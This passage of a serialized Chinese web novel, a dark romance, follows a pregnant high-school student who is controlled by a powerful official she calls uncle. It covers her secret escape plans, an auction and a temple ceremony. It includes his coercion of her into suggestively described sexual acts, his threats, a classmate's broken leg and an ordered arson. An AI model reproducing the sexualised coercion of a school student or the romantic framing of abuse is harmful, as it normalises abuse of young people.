两人回到卧室,陈寅洛脱下衬衫随手扔在椅背上,光裸着上半身径直走进了浴室,关上了门。 很快,浴室里传来了哗啦啦的水声。 陈知念僵坐在床沿,直到水声持续响起,确认他一时半刻不会出来后,蹑手蹑脚地快步走到书房,将那颗定时炸弹藏到了书桌最底层的抽屉。 做完这一切,她逃似地小跑回卧室,重新在床边坐下,调整着过于急促的呼吸。 其实她真的有认真思考过留下这个孩子。 甚至如果那天在海岛,她鼓起勇气问他“愿不愿意改变”时——如果当时,陈寅洛给出的不是那样冷酷现实的答案,而是哪怕一丁点不一样的回应,她或许真的会认命,考虑就这样留在他身边,过一辈子。 可是没有。 她说不清自己对陈寅洛是什么感情,但她知道,他们永远都过不到一块。他无法改变自己,而她也无法接受他的理念,他们之间隔着的是对世界认知的根本分歧。 基因学说,人在恋爱的时候情绪受苯基乙胺主导,而苯基乙胺的浓度高峰一般持续六个月到四年,这就是一次恋爱的时间。 现在陈寅洛也许正处于苯基乙胺的浓度高峰,所以他会容忍她偶尔的冒犯,会因为她而有一丝罕见的耐心,甚至会期待这个孩子。 当这种生理冲动消退后呢,这个孩子真的有存在的必要吗? 所以最理智的选择,就是不要这个孩子。 陈知念的指尖覆上小腹,原本平坦的腹部此刻变得硬硬的,有一小块轻微的凸起。 她最近看了不少孕期知识,知道八周大的胎儿大概有樱桃大小,他有心跳,每分钟能跳动一百五十次左右,他开始分化出手指、脚趾,长出了眼睛,嘴巴。 泪水顺着她的脸颊滚落,滴在她覆在小腹的手背上。 陈寅洛披着睡袍走出来的时候,恰巧看到这一幕。第一反应就是拧眉,不过是澡洗的久了点,一会功夫没陪她,就哭上了? 随即他又想起之前看到的推送,孕妇处于激素快速增长阶段,情绪波动大很正常。 想到这,他强压下那股习惯性的燥意,走到她身边,粗粝的指腹拭去泪痕。 “有什么好哭的,想要我陪你,以后我早点回来就是。” 陈知念诧异仰头。她不知道他为什么会这么认为,但她没理由反驳。难道她要说,她要打掉孩子,然后计划着和家人一起远走高飞? 她顺着他的话往下说:“不用,你忙你的就行,我其实……一个人在家也不闷,最近在学校接触了些新课题,反而觉得时间过得挺快。” 陈寅洛意外地挑眉,这可以说是这段时间以来,她对他说过最长的一句话了。 他心里像是勾起了火,直接将人抱进了怀里,不轻不重地捏着她耳垂,不咸不淡地问:“在学校都上些什么课,说来听听。” 陈知念的身体只僵了一瞬就恢复了正常,刚才的话不过是敷衍他的,不过既然他问了,她就必须要认真回答,以免出现漏洞。 “就是些普通的课程……艺术鉴赏,西方哲学史之类的。” “哲学?”他捏着她耳垂的力道稍稍加重,“学到了什么?” 她静了静,选了一本最近恰巧在看的书回答:“最近在看存在主义……萨特说,‘人是被判定为自由的’。挺有意思的。” “那你觉得,你现在自由吗?” 陈寅洛的话问出口,陈知念才惊觉自己回答了一个多么愚蠢的问题。她攥紧了指尖,压抑住飞速跳动的心脏,寻了个模棱两可的答案:“在思考的时候,我是自由的。” 陈寅洛沉默地看了她几秒,忽然松开了捏着她耳垂的手。他扯了扯嘴角,算是认可了她拙劣的答案。 “行,既然喜欢,那就好好学。” 鼻尖萦绕着独属于她的清甜香气,因为已经洗完澡,所以她只穿了一件素净的睡裙。乌黑的长发披散下来,在胸前划出略微起伏的弧度。 他曾丈量过,看着清瘦,握上去倒不小,细腻顺滑,像一块上好的琼脂玉,让人爱不释手。 轻轻吻过时,那樱桃还会颤动,像被惊扰的含羞草。 陈寅洛素了大半个月的心又开始蠢蠢欲动。 而坐在他身上的陈知念自然是第一个感受到这份冲动的,她不可置信地看向他,嘴唇张合了半天,憋出一句:“医生说了,不能……不能……” 剩下的话她没说出口,但意思表达的够准确,他肯定能听明白。 “我知道。”他一边说着,手一边滑向垂涎已久的曲度。 “那你……你还动……” 陈知念红着脸推拒他的手,可那手压根就捉不住,眨眼间就滑了进去。 “放心吧,我不碰你。” “我先收点利息。”—— 作者有话说:[彩虹屁]大概从这一章尝试新的文风,我感觉我好像有所顿悟 第84章 “在学校和同学相处得怎么样?” 陈寅洛靠坐在床头,手有一下没一下地抚着她垂落的发丝。 陈知念跪坐在床间,浑身上下都透着粉红,一双眼睛不知道该往哪放。虽然已经领教过数次,但这样坦诚地接触,还是第一次。 “就……那样。没什么特别的交集。”她谨慎地选择着措辞,“大家都很忙,下课就各自散了。” 这是实话,因为她本来就已经是重读生,还经常不明原因地旷课,所以除了唐芊芊,在学校她基本没什么好朋友。 陈寅洛的手指缠住一缕她的发丝,轻轻绕紧,带来微妙的牵制感。 “是吗?你那个班长,腿好了吗?现在可以正常上学了?” 陈知念倏然抬头,撞进他似笑非笑的眼眸,一股寒意猛然蹿上脊背。 原来班长的腿根本就不是摔断的,而是陈寅洛干的……难怪自从班长请假回来后,就有意无意的避开她,连正常的交流都是能避则避。 可是他为什么要这样做?明明他们都没有任何交集。 “你……你为什么要这样做?他跟我没什么关系,我们只是普通同学。” 陈寅洛闷哼一声,他垂眼,目光落在她那只惹祸的手上。 “陈知念,”他声音冷下去,“你现在是为了他,想直接把它废在这里吗?” 陈知念顺着他的目光看向自 己的手,这才惊觉刚才掐了哪里,她急忙松开:“对不起,我不是故意的。” 陈寅洛却一把攥住她想要逃离的手腕,强行将她的手掌重新按回。 其实他压根算不上好受,她生涩笨拙,毫无技巧可言,该重的时候轻,该快的时候又倏然慢了下去,不上不下的,纯纯折磨人。 但他又莫名享受这种笨拙的折磨,单视觉享受这一点,就足够取悦他。 “接着动。”他握住她的手掌,忽然又接上那个话题:“普通同学?既然是普通同学为什么要加联系方式?” “什么?”陈知念茫然了一瞬,她已经全然忘了和班长加过联系方式这件事。 想起来后,她的心脏又开始疯狂跳动。既然他知道自己和班长加了联系方式,那会不会也知道了她要报考洛桑威尔的事? “他……他只是好心,知道我耽误了许多功课,想要发一些补习资料给我。” “陈知念,别偷懒。”陈寅洛声音粗重了几分:“不然你以为他为什么只断了一条腿?” 他的回答让陈知念心头发寒,他是怎么做到把蔑视人命说的如此理所当然的? 但她也得到了一个讯息,至少他还不知道洛桑威尔的事,应该是班长没来得及发给她,就被陈寅洛派去的人抓到了。 也不知道是该庆幸,还是该内疚。 她的动作又停了,陈寅洛心里的躁火越发烈了,他咬牙,声音从喉咙深处挤出来。 “陈知念,再这样下去,今晚就别想睡觉了。” 他怀疑她就是故意的,把他当成一个可以随意摆弄的玩具,或者更糟,就是在这伺机报复,想要折磨死他。 陈知念蹙了眉,眸子里带着真实的委屈和疲惫。她实话实说:“……我已经很努力了。” ——明明是你自己的问题,都已经过了这么久,还是没动静。这也是她的错吗? “努力?你就是这样努力的?”他的声音哑到吓人,“我教你的,你说说,你做到了哪一点?” 陈知念垂下眼睑,回忆刚才陈寅洛说的要点。要紧握,不要放松,要均速不要时快时慢,不要动一下又歇一会。 她好像确实一项都没做到。 “一项都没做到,也敢说努力?你在学校也是这么糊弄老师的?就这记性还考什么大学,干脆别考了,反正什么都学不进脑子。” “陈寅洛!你凭什么说我学不进去?!” 陈知念一把甩开他,“你凭什么用……用这种事,来否定我所有的努力?你讲不讲道理!” 陈寅洛本就一身的火气没处发,被她这么一怼,噌一下就上头了。 现在和他吵架是越吵越顺了,动不动就敢朝他吼,给他甩脸子。 他一把攥住她撤退的手腕,眸光变得危险:“陈知念,你最好祈祷你能够安抚好它,否则——” 他的视线落在她的唇上,“就换个地方来做。” 目光太过灼热,无法忽视。陈知念不明白他是什么意思,盯着她的嘴做什么。 “什么意思?”她仍未嗅到空气中弥漫的危险信号。 奇迹的是,陈寅洛的火气似乎压了下去。他松开了禁锢她的手腕,笑了笑:“小侄女,吃过雪糕吗?” 陈知念警惕地往后挪了半寸,老实回答:“吃过。” 实在想不明白话题怎么会从……那个问题,突然跳到雪糕这种无关紧要的事上。陈寅洛的思维跳跃得令人措手不及。 “知道怎么舔雪糕吗?” “……” 陈知念一时语塞,只能惊疑不定地看着他,甚至怀疑他是不是被气到神志不清了。 思忖片刻,她觉得此刻还是不要忤逆他为妙,他疯起来对自己显然没好处。 见她沉默,陈寅洛失去了耐心,直接命令道:“把舌头伸出来。” 相较于之前那种让人难堪的事,陈知念觉得伸舌头好像也并不难以接受。 她乖乖伸出一小截舌头。 那截舌尖泛着淡淡的粉,像花瓣轻轻抵在唇瓣外,泛着莹润的水光。 陈寅洛的眸色骤然转深。 “就这么点?”他的声音比刚才更低哑,“再伸出来些。” 陈知念疑惑地看向他,他该不会是恼怒她刚才顶撞,想要拔了她的舌头吧? 而陈寅洛竟意外读懂了她眼里的疑惑,“放心,不拔你舌头。” 听到这,陈知念犹豫了一下,还是乖乖把舌头又往外探了探。 下一瞬,陈寅洛喉结滚动,食指探出,先是缠着她的舌尖徐徐打转,而后在她舌面上施加压力,模拟了一个缓慢而晦糜的进出动作。 陈知念的呼吸骤然屏住,眼睛因震惊而微微睁大。 “懂了吗?” 她终于明白了舔雪糕这个看似无稽的问题背后,隐藏着怎样赤裸裸的隐喻。 她想合上嘴,退缩,但他的手指仍带着警告的力度压在那里。 “舌尖要像游鱼,顺着棱线慢慢绕。就像……舔雪糕时沿着边缘转,把每一处甜味都尝遍。” 指节突然加重力道按在她舌根,逼出细微呜咽,“不许漏过任何一个地方,明白?” 陈知念屈辱地眨了下眼睛,陈寅洛轻轻一笑,满意地撤回手指。 “很好。”他低语,“现在,用我教你的方法。” “可、可不可以还是用之前的方式?”她试图谈判。 她根本无法想像嘴唇里有别的东西的画面,她甚至怀疑那样恐怖的存在进入口腔,她还能正常呼吸吗? 陈寅洛的声音沉了下去:“陈知念,你觉得按你的方式磨蹭下去,努力到天亮,能完成任务吗?” 陈知念不说话了。她好像没办法反驳,而陈寅洛周身的气压随着她的抗拒越来越迫人。 她脑海里突然想起萨特另一句话: “没有刑具,没有烈火,甚至没有妖魔鬼怪,因为他人即地狱。” —— 陈寅洛从背后揽住她,吻了吻她的唇,“别生气了,明天带你去拍卖会,看上什么拍什么,行不行。” 陈知念不想说话,脑袋更是往被子里缩了缩。 这个人就是个恶魔,要把她压榨殆尽。 “听话,明天晚上我来接你。” 他按灭床头的灯,黑暗瞬间笼罩下来。他的手臂环过她的腰,掌心覆在她的小腹上,“早点睡,熬夜对胎儿不好。要是起不来,明天就不准去学校。” 又是威胁。陈知念紧闭的眼睫颤了颤,强迫自己不去回忆刚才口腔里令人作呕的气息。 也许是孕激素的功劳,即使在这样难以入眠的时刻,她竟然也奇迹地睡着了。 再醒来时,陈寅洛人已经不在了。 陈知念松了一口气。洗漱的时候,骤然又想起昨晚的画面,于是她整整刷了三遍牙,才磨磨蹭蹭地走出卫生间。 由于刷牙耽搁了太长时间,走到楼下的时候,已经快要来不及吃早餐了。 她想着随便拿个吐司之类的在车上吃就好,却不想营养师径直拦在她面前,“陈小姐,请用完早餐再出门。” 陈知念蹙眉,“我快迟到了,我拿一瓶牛奶和面包在车上吃好不好?” 营养师摇头拒绝,虽然面带微笑,话语却像铁板一块。 “抱歉,陈先生吩咐了,必须看着您吃才行。” 陈知念脸色一沉,又是这样,即使他本人不在,她也必须按照他的意志来行动。 她深吸一口气,压下心头的烦躁和无力感,沉默地拉开椅子坐了下来,机械地开始进食。 直至把碗里的鱼茸菠菜粥喝到快见底,嫩煎鹅肝也一扫而空,陈知念放下勺子,“可以了吗?” 营养师上前确认都差不多吃完了,才微微躬身:“可以了,陈小姐,车已经备好,您随时可以出发。” 陈知念没有回应,拿起书包,走向门外。 谁知到了校门口,刚下车就碰到了等候多时的纪嘉德。 看到立在面前的清瘦少年,她的脸瞬间变得惨白。 联想到班长的遭遇,身后阿星驾驶的车还没有离开,纪嘉德任何一个靠近她的举动,都可能为他招致灭顶之灾。 纪嘉德看到她,眼睛一亮,刚想要上前打招呼,却见陈知念像是见了鬼一样,猛地低下头,加快了脚步,小跑着想要从他身边绕过去。 “陈知念!”纪嘉德被她过激的反应弄得一愣,伸手想拦住她问个清楚—— 作者有话说:我好像、我好像悟到点什么了,我进步了吗??我进步了吗??[抱抱] 第85章 床异梦 就在纪嘉德即将碰到陈知念手臂的瞬间,她像是被毒蛇咬到一般,猛地甩开胳膊,惊惶地低斥道:“别碰我!” “离我远点!求你了!”她扔下这句话,然后头也不回地冲进了校门,消失在熙熙攘攘的学生人流中,留下纪嘉德一个人僵在原地,满脸的错愕与不解。 接下来的一整天,陈知念都心绪不宁,老师讲的课也听不进去,满心都在思考阿星会不会把遇到纪嘉德的事告诉陈寅洛。 放学铃声一响,她就迫不及待地收拾好书包准备出校门。刚收拾好课本,班主任林老师就叫住了她。 “我们班只有你一个人报了洛桑威尔,全校也没几个。老师还是觉得可惜,你的成绩,上星曜是十拿九稳的,那才是最适合你的路。” 一股酸楚涌上鼻尖,陈知念用力掐了一下自己的虎口。她也知道星曜是最好的选择,但是她真的没有办法。 她坚定拒绝了林老师的好意:“林老师,谢谢您。但我……真的已经想清楚了。” “哎,好吧。”林老师叹息一声,“15号就是洛桑威尔的招生考试了,所有的资料我已经帮你提交上去了。这段时间一定要调整好状态,我看你今天心神不属的,最后关头,千万不能松懈。” “老师,我会的。”她犹豫了一下,又忽然问:“老师……我能再借您的手机打个电话吗?我的手机又忘在家里了,有急事要跟我爸爸说。” “当然可以。” 林老师没有犹豫就把手机递给了陈知念,她感激地接过,快步走到窗边,避开老师的视线,按出那个早已刻在心里的号码。电话只响了一声,就被接了起来。 “念念!”陈毅衡的声音从话筒里传来,“手续都办好了。” 听到这句话,陈知念心跳得飞快,“真的?都已经弄好了吗?” 为了不让陈寅洛察觉,陈毅衡这段时间可谓煞费苦心。他不敢动用现有的资源,也不敢联系任何可能被监控的机构。所有手续都是通过一位早年移民曼萨尼约的故交,以海外投资的名义悄悄办理的。 “嗯,身份公证、资产证明这些关键材料都齐了,律师刚把签证送过来,曼萨尼约那边的临时住所也找好了。”陈毅衡的声音里透着如释重负,“没走正规渠道,陈寅洛应该不会这么快察觉。” 陈知念握紧手机,指节发白,“那……妈妈知道了吗?” “你妈妈……”陈毅衡顿了顿,“她一开始不同意,但我说了实话后,她哭了一夜,现在正在家里收拾东西。” 电话两头同时沉默了一瞬,都能听到对方沉重的呼吸声。 “念念,你那边怎么样?他……有没有怀疑?”陈毅衡的声音变得沉重,“还有……孩子,你打算怎么办?” 她下意识地摸了摸还平坦的小腹,那里藏着一个小小的生命,似乎还有着微弱的悸动。 就在这时,走廊传来其他老师的说笑声,由远及近。陈知念猛地惊醒,瞥了一眼时间,已经过去了好几分钟。 “爸爸,先不说了,我要走了。” 她迅速掐断电话,删除记录,将手机还给一直耐心等待的林老师。 走出校门,熟悉的黑色轿车就停在路边。陈知念静静看了两眼,才缓缓走了过去。 阿星如常下车为她打开后座车门。然而,就在车门开启的瞬间,首先就感受到一阵熟悉的压迫感。 掀开眼帘看去,陈寅洛竟然端坐在后座。 他靠坐在椅背,深灰色的衬衫领口解开两颗扣子,露出线条清晰的锁骨,嘴里还在嚼着口香糖。 “愣着干什么?上来。” 他怎么会在这里? 陈知念的心跳不由加快,连上车的动作都变得有些笨拙。 他黑沉的视线扫来,明明未置一词,却已让空气凝滞,压迫得人难以呼吸。 “今天放学怎么这么晚?” 语气听似随意,但陈知念瞬间就进入了防备状态。她垂下眼帘,避免泄露心绪,“刚才跟老师问了点考试的事,所以耽误了一会儿。” 话音刚落,她就听见自己的心跳在耳边咚咚作响,震得耳膜发疼。阿星早上明明看到她和纪嘉德说话了,会不会已经告诉陈寅洛了?他现在问这话,是不是在试探她?无数个念头在脑海里打转,手心都悄悄沁出了汗。 陈寅洛端详了她一会儿,忽然凑近,“脸色怎么这么差?是哪里不舒服?” 俊美的脸庞骤然在眼前放大,陈知念的心都要停跳了。她竭力维持着面部的平稳,答道:“没有……可能是有点闷,一会就好了。” 她怕他再追问下去,连忙主动转移话题,“你怎么会来接我?今天你不用忙了吗?” 少女的脸色苍白到透明,一对睫毛簌簌抖动,像只受惊的蝴蝶。 陈寅洛盯着她的眼眸,“陈知念,你在紧张什么?” 这句话没有丝毫波澜,却像一把刀,精准地戳中了她的心事。但很快,陈知念就镇定下来。如果陈寅洛真的知道了什么,以他的性子,绝不会只是这样平静的审问。等待她的,应该是即刻的囚禁和更可怕的惩罚。 既然他没有这么做,就代表,他什么都没有发现。 心绪稳定下来,她也没那么紧张了,一本正经地撒着谎:“可能是快考试了,有点紧张。老师刚才还特意跟我说,让我这段时间多努努力,说我现在的成绩……还不一定能稳上星曜。” 她说得煞有其事,甚至还忧虑地蹙了眉。 “就为这个?”他语气里混着三分嘲弄七分纵容,“考不上,我就给星曜捐栋楼,一栋不够捐两栋。总之,保你大摇大摆走进去,行了吧?” 无力感从心底浮起,他们之间永远是鸡同鸭讲,买通名校从他嘴里说出来,就跟买一颗糖一样简单。 不想再讨论这个话题,她转头望向车窗外飞逝的街景,发现并非回家的路,便疑问道:“我们去哪?” 陈寅洛侧回身子,薄荷味的口香糖在齿间轻转:“昨晚不是答应你了,带你去拍卖会散散心。” 陈知念这才恍然想起昨晚结束后,他好像是提了这么一句,不过她根本就没有答应要去吧。 “不、不用了吧,我想早点回家复习。” 他侧首瞥了她一眼,“行了,别废话。一天到晚做那些弱智题,到时候把脑子给学傻了。” 这话就是没有回旋的余地了。陈知念只能默默放下书包,今天的作业还剩下不少。物理练习册有两页关于电磁感应的题没写,数学有一张解析几何的单元测试卷,化学还有一份实验报告要整理数据。 想到这些,一种焦虑感便涌了上来。她原本计划利用晚上的时间把这些都完成,然后再看一点洛桑威尔往年的试题。现在所有的计划都打乱了。 车辆平稳地行驶到拍卖会地点,陈知念跟着陈寅洛步入灯火辉煌的大厅,瞬间便感到无数道打量的目光袭来。 因为大部分人都穿的相对正式,不是西装革履就是礼服长裙,只有她素面朝天、穿着校服裙,与周围的环境格格不入。 “跟我来。”陈寅洛对四周的目光浑然不觉,或者说是直接无视。他自我惯了,压根就不是会在意别人想法的人。 不等陈知念回答,他就握住她手腕,走向一侧提供精致茶点的长桌。桌上的银盘里盛着马卡龙、慕斯等甜点,旁边的水晶杯里盛着各色饮品,他却唯独拿了一杯温牛奶,转身递到她面前。 “先把这个喝了。” 他记得孕期指南上写着钙质补充很重要。 陈知念刚接过牛奶,三四位衣着考究的中年男人便已举着酒杯围拢过来:“陈委员,真是难得在这里见到您!” 陈寅洛对伸来的酒杯视若无睹,目光缠在陈知念身上,看她喝了一小口就想要放下杯子,瞬时皱起了眉。 “一滴都不准剩。” 声音一如既往地透着点不耐烦,陈知念不想在这种小事上和他争执,什么也没说仰头 就把牛奶喝光。 举杯的几人面面相觑,眼底的诧异都快要溢出来。陈寅洛身边什么时候多了个女人?这女孩看着年纪也不大,穿的校服是育英高中的,分明还是个学生。可是他不是马上要和林政委的女儿订婚了吗? 那几位宾客识趣地退开后,拍卖会很快正式开始。灯光暗下,只留一束追光打在展示台上。 侍从恭敬地递上烫金的拍品手册,陈寅洛随手翻看几页,便将其放到陈知念手中,“看中什么,举牌就行,不用在乎价格。” 陈知念心不在焉地翻开手册,估价栏的数字全都令人咋舌。直到翻到某一页,她的视线稍稍停留下来。 页面上是一条翡翠项链,蛋面晶莹剔透,色泽是极为浓郁的帝王绿。 她想起来小时候奶奶的首饰盒里,也有一枚小小的平安翡翠扣,奶奶总说翡翠养人,戴上可以静心养性。后来奶奶走了,那枚平安扣也在搬家时弄丢了,再也找不回来。 “喜欢这个?”身旁的陈寅洛忽然开口。 陈知念回过神,合上手册摇摇头:“没有,就是随便看看。” 当那条翡翠项链被呈上展台时,追光精准地打在托盘中央,那条帝王绿翡翠项链静静躺在黑色丝绒上,水滴形的蛋面在灯光下泛着莹润的光泽,细碎的钻石链扣折射出点点星光,比手册上的图片更显流光溢彩。 “起拍价三百万,现在开始竞拍。” 几个宾客陆续举牌,价格被缓缓推高。当叫到六百五十万时,场内出现了一丝短暂的停顿。 这时陈寅洛淡然举牌:“一千万。” 满场哗然。 陈知念也惊愕转头看他。她拉了拉他衣袖,压低了声音说:“你干什么?” 陈寅洛斜斜睨她一眼,“下次不必看那么久,喜欢,直接说。” “……谁说我喜欢了?” 虽然不是花她的钱,但眼睁睁看着一千万就这么轻飘飘地砸出去,仅仅为了一套首饰,她依然觉得这简直……太败家了。 她真的很不理解。 拍卖会结束后,那个装着翡翠项链的丝绒盒子被恭敬地送到陈寅洛手中。他看都没看,随手就丢到了陈知念怀里。 那盒子就像一块烫手山芋,她将它放回到车座上,往陈寅洛的方向推了推:“这么贵重的东西,还是你自己收着比较好。” 说白了,她不愿意接受他的馈赠。 陈寅洛正低头看手机,屏幕上是振坤集团的文件。闻言他眼皮都未抬,声音里带着漫不经心的漠然:“反正已经送你了,不喜欢就扔了。” 他指尖划过屏幕关掉文档,瞥见时间显示已过十点,再开口时,语气里添了不容反驳的力度: “回去不准写作业了,立刻睡觉。” “可是我还有物理题没写,数学试卷也……” “陈知念,你不听话是不是?”陈寅洛皱了皱眉,“孕妇要保持充足睡眠,这点常识需要我教你?” 什么狗屁作业,一天到晚写个没完。不就是想进星曜吗,捐栋楼、设个基金,哪样不比她熬夜刷题来得快? 真是不知道她脑子里都装的什么东西,只会用最蠢的办法较劲。 回到别墅,又在陈寅洛的威压下喝完了一整碗燕窝粥,然后给医生做完例行检查后,才得以允许去睡觉。 洗完澡坐在床边,看向光着上半身走来的男人,陈知念还是不甘心又问了一遍:“我就把物理练习册的应用题写完就睡好不好?很快的,半小时就好。” 男人一把按住她,将人摁进被窝,他扯过被子盖到她下巴,动作带着不耐烦的粗粝:“别唧唧歪歪,闭眼睛。” 陈知念还想说什么,但对上他沉沉的视线,所有话都咽了回去。她慢慢闭上眼睛,听见他关掉台灯,床垫另一侧随之陷下去。 第86章 国宁寺。 这座始建于南宋的寺院,不仅是白塔城的文化地标,更因曾在战乱中收留过数千名孤儿,成了慈悲与守护的象征。 也正因这份特殊意义,安委会牵头的传统文化交流论坛,最终选在了这里开幕。 黑色轿车缓缓停在山门外,陈寅洛推开车门,深灰色西装勾勒出他挺拔却冷硬的轮廓。 严彬拎着公文包跟在身后,低声提醒:“洛哥,开幕仪式还有二十分钟,林政委的车刚到,已经进去了。” 陈寅洛“嗯”了一声,抬步走向山门。 刚踏入寺院,浓郁的檀香就扑面而来,身着海青的僧人手持念珠,在甬道两侧静静站立,见他走来,微微颔首致意。 不远处的大雄宝殿方向,隐约传来诵经声,绵长而肃穆,与他身上那股凛冽气息,格格不入。 “陈委员,这边请。”主办方的工作人员快步迎上来,脸上堆着热情的笑,“各位领导都在偏殿休息,开幕式剪彩环节,需要您和林政委、李主任一起上台。” 陈寅洛没答话,跟着工作人员往里走。偏殿里早已坐满了人,官员们穿着熨帖的正装,三三两两地交谈着,话题离不开论坛的流程与后续的合作。几位须发皆白的老学者围坐在茶桌旁,捧着青瓷茶杯,讨论着国宁寺的历史沿革。 开幕式很快开始。陈寅洛跟着林弘等人走上临时搭建的主席台。剪彩、致辞、与人寒暄,所有流程都早已被安排妥当,他只需要配合地完成这场表演。 仪式结束后,主办方安排了“古迹观摩”环节,第一站便是寺内的“慈幼堂”。穿过几道月亮门,一座青石板铺就的小院出现在眼前,院中央立着一块一人多高的石碑,碑身布满岁月的痕迹,上面刻着密密麻麻的小字。 “各位领导,这座石碑记载的是国宁寺‘慈幼堂’的历史。”讲解员拿着扩音喇叭,声音带着程式化的热情,“南宋末年战乱,寺里的僧人收留了近千名孤儿,在这里教他们读书、习艺,直到他们能独立生活。碑上刻着的,就是当年部分孤儿的名字,还有‘慈悲为怀,善有善报’的训诫……” 陈寅洛百无聊赖地走着神,这种活动最是无聊,翻来覆去就是那么几个花样,既浪费时间也浪费表情。 目光掠过身旁几个正装革履、此刻却纷纷露出或感慨或悲悯神情的同僚,心里嗤笑。 演得倒挺像。 都他妈一个池子里的王八,装什么善男信女。 “接下来,静安大师会和各位领导见面,请随我来。” 静安大师是国宁寺的住持,年过七旬,头发花白却精神矍铄,穿着赭红色的僧袍,手里握着一串菩提念珠。 官员们依次上前与大师寒暄,无非是“久仰大师”“感谢寺院支持”之类的客套话。 轮到陈寅洛上前时,静安大师却没有先看他的脸,反而落在了他垂在身侧的那只骨节分明的手上。 大师指间捻动的菩提念珠倏然停住,廊下只剩风声穿堂而过。他这才缓缓抬眼看向陈寅洛的脸,目光澄明如古井,却深得让人心惊。 正当陈寅洛不耐欲走时,大师忽然缓声开口,“这位施主,可否借一步说话?” 陈寅洛眼底掠过一丝讥诮,倒生出几分玩味:“行。” 他倒要看看,这老和尚想玩什么花样。 静安大师对身旁的小沙弥低声吩咐了两句,然后领着陈寅洛走到了一旁的僻静的回廊。 “说吧。”陈寅洛倚着朱漆廊柱,语气淡漠。 静安叹息一声,双手合十。 “施主你身负血海,自成因果。万法 皆空,因果不空。然天地有好生之德,一念之慈,犹如暗室灯烛,非为照远,亦可自明,为后来者……指引一隙之光。” 话音落下,陈寅洛眉峰高高一挑:“老东西,你他妈咒我呢?” 静安大师面对这句粗戾的质问,却并不恼怒,“老衲并非咒您,是在提醒您。” “提醒?”陈寅洛欺近,泠洌的压迫感坠下:“我看你是活腻了,敢在我面前招摇撞骗?信不信老子现在就送你去因果轮回。” 闻言静安不再多言,双手合十,微微躬身:“阿弥陀佛。苦海无边,回头是岸。施主,好自为之。” 说完转身就走。 陈寅洛盯着那背影,直到他消失在月亮门后,才缓缓收回视线。 装神弄鬼,故弄玄虚。 —— 午休铃声响起,教室里瞬间热闹起来,有人趴在桌上补觉,有人围在一起分享零食,还有人拿着习题册互相讨论。 陈知念没有加入喧闹,正在奋力地补着没来得及完成的习题。而且自从知道班长的事后,她更加尽力避免和同学之间的交集,不再参与小组讨论,拒绝课后同行的邀请,甚至连别人递来的零食都婉言谢绝。 这种自我隔离让她在班级里显得格格不入,有人觉得她孤傲,有人传言她家境特殊。 不过好在唐芊芊对她一如既往。 她正对着一道物理题凝神思考,唐芊芊忽然用胳膊肘轻轻碰了碰她。 “知念!” 陈知念抬起头,看见唐芊芊正盯着手机屏幕,脸色有些古怪,手指在屏幕上滑动着,欲言又止。 “怎么了?”她随口问,注意力还没有从题目上移开。 唐芊芊看一眼手机又看一眼她,嘴唇张合了几次,想说的话都没能说出口。 她越是这样,陈知念越是觉得奇怪。唐芊芊向来是个藏不住话的活泼性子,很少这样吞吞吐吐。 “什么新闻啊,让你这副表情?” 她放下笔,开玩笑地问道:“总不会是世界末日要来了吧?” 唐芊芊深吸了一口气,像是下定了很大决心。她小心翼翼地观察着陈知念的脸色,慢慢说:“是……是关于那个陈议员的……” 陈寅洛? 陈知念讲视线移回习题册,继续在草稿纸上演算起来。他如今身居安委会要职,名字偶尔出现在新闻里实在正常。 况且,关于他的新闻,她也并不感兴趣。她现在只想把这道难解的题做完。 唐芊芊看着她这副事不关己的样子,更加犹豫了。但想到那天校门口陈寅洛强吻陈知念的一幕,作为好朋友,她觉得自己有义务告诉她这个消息。 “是订婚新闻……他和林政委的女儿,林曼薇。” 陈知念握笔的手猛地顿住,笔尖在草稿纸上划出一道长长的墨痕,原本算到一半的物理公式瞬间被从中截断。 她维持着低头的姿势,呼吸在刹那间停滞,周围的喧闹声、翻书声瞬间褪去,世界寂静得只剩下血液冲上耳膜的轰鸣。 “知念!知念你没事吧?” 几秒后,陈知念抬起头轻轻一笑:“我没事。” 话音落下,她松开一直紧攥着笔的手指,塑料笔杆失去力道,“咕噜”一声滚落在桌面上。然后她拿起橡皮擦,对着草稿纸上那道长长的墨痕,一遍又一遍地擦着。 原来是这样,他要订婚了。所以那条翡翠项链不是礼物,是给她的补偿。 作为见不得光的情人的补偿,作为未来那个私生子的封口费。 还以为他至少……会有一丝真情,原来……都是假的。 不对,陈知念,你应该开心才对。 他有了合心意的未婚妻,自然不会再有时时刻刻摆布她的兴致。等他新婚燕尔,说不定很快就会厌倦她。 到时候她就能走了,说不定还可以不用离开白塔城,不用远走他乡。 这是个好消息。天大的好消息。 橡皮擦在纸上摩擦的声音越来越响,唐芊芊忍不住伸手按住她的手腕:“知念,别擦了,纸都要破了。” 陈知念恍若未觉,依旧在固执地擦着那道已经模糊的痕迹。 “知念!!”唐芊芊的惊呼声骤然拔高,“你!!你流血了!知念,你腿怎么流血了?!” 陈知念茫然地低头—— 殷红的血正顺着她的大腿内侧蜿蜒而下,在浅色袜子上洇开刺目的痕迹—— 作者有话说:[求你了][求你了]走剧情走剧情。 第87章 黑色轿车一路疾驰,阿星连闯了五个红灯,终于把车停在维璟私立医院急诊楼前。 车刚停稳,护士就推着金属担架车快步迎上来,戴着口罩的医生手里攥着病历夹,连除颤仪都提前推到了门口,做好了一切急救准备。 “快!打开车门,准备转移!” 打开车门就看到陈知念靠在椅背上,眼睛半睁半闭,手还死死按在小腹上,深蓝色校服裙摆已经被血浸透成深褐色,连座椅皮革上都沾着大片凝固的血迹。 护士们熟练地打开担架车两侧的护栏,小心翼翼地将陈知念从车里扶出来。护士刚碰到她的胳膊,就听到她微弱地哼了一声,额头上全是冷汗,嘴唇苍白到没有一点血色。 “血压70/40,心率120!”护士快速用血压计测了数值,“情况不好,得立刻进抢救室!” “准备止血药!通知手术室,备好血袋,O型血!” —— 静安大师离开后,陈寅洛站在原地,脸上看不出喜怒。他慢条斯理地丢了两粒口香糖进嘴里,抬手招来严彬。 “洛哥。”严彬快步上前。 陈寅洛的目光掠过远处大殿的飞檐,“今天晚上,找几个生面孔,把国宁寺给我烧了。” 严彬猛地抬头,眼中闪过极大的惊骇,甚至忘了掩饰。烧国宁寺?这座千年古刹是白塔城的精神象征,香火鼎盛,守卫森严,更重要的是,它刚刚才承办完由安委会牵头的官方活动! “洛哥,国宁寺是白塔城的文化地标,要是烧了,会引起轩然大波的,而且……” 陈寅洛一边嚼着口香糖,一边斜斜瞥他一眼,“电路老化,香火不慎,随便找一个不就行了。” 吗的,什么因果轮回,老东西敢跟他装神弄鬼,那就让他知道什么叫现世报。 